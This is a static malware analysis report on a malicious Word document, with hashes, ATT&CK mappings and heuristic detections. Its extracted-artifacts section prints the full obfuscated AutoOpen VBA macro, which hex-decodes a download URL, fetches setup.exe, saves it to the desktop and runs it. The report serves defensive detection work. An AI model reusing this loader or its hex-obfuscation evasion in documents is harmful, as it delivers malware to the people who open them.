Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 62a2f7b4bc84394a…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-06-21 09:57:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-30
MD5: b12494dcb77a1593d0c9e3851c5fdc82 SHA-1: 3d90a3517affec2086733a0d5657e94d085ceeb4 SHA-256: 62a2f7b4bc84394a082b9d7224e786eea4b0daf5fd7b4847d1f9fab6ab06a70f
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains an AutoOpen VBA macro that is obfuscated and uses CreateObject and Shell calls. The macro downloads a file named 'setup.exe' from the URL 'the embedded link' and saves it to 'C:\Users\acer\Desktop\file.exe', then executes it. This indicates a downloader or droppper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (plmbgsggzibb("66696c65") & plmbgsggzibb("2e657865"))
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write dsmgecoehighx.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Dim xHttp: Set dsmgecoehighx = CreateObject(plmbgsggzibb("4d6963726f736f66742e584d4c485454") & plmbgsggzibb("50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set dsmgecoehighx = CreateObject(plmbgsggzibb("4d6963726f736f66742e584d4c485454") & plmbgsggzibb("50"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1315 bytes
SHA-256: a9ebe82d991bea3a3bc0a2be0c91a37577507928774f10237721b357a1c75b54
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim xHttp: Set dsmgecoehighx = CreateObject(plmbgsggzibb("4d6963726f736f66742e584d4c485454") & plmbgsggzibb("50"))
Dim bStrm: Set bhaxpzkehbsvl = CreateObject(plmbgsggzibb("41646f") & plmbgsggzibb("64622e53747265616d"))
xHttp.Open plmbgsggzibb("474554"), plmbgsggzibb("68747470733a2f2f7331382e7069636f66696c652e636f6d2f642f3834") & plmbgsggzibb("33353636393537362f33303330336233342d353866652d346634312d393266622d6239636436623765343834302f73657475702e657865"), False
xHttp.Send
With bhaxpzkehbsvl
.Type = 1
.Open
.write dsmgecoehighx.responseBody
.savetofile plmbgsggzibb("433a5c557365") & plmbgsggzibb("72735c616365725c4465736b746f705c66696c652e657865"), 2
End With
Shell (plmbgsggzibb("66696c65") & plmbgsggzibb("2e657865"))
End Sub
Private Function plmbgsggzibb(ByVal hjpjjuaguktz As String) As String
Dim qejibxktlyai As Long
For qejibxktlyai = 1 To Len(hjpjjuaguktz) Step 2
plmbgsggzibb = plmbgsggzibb & Chr$(Val("&H" & Mid$(hjpjjuaguktz, qejibxktlyai, 2)))
Next qejibxktlyai
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 5c88a462e7ed8b92323611ed402aeb660eb046ecb93ebe04f43b19a7445f9255
Detection
ClamAV: Doc.Malware.Valyria-6923224-0
Obfuscation or payload: unlikely

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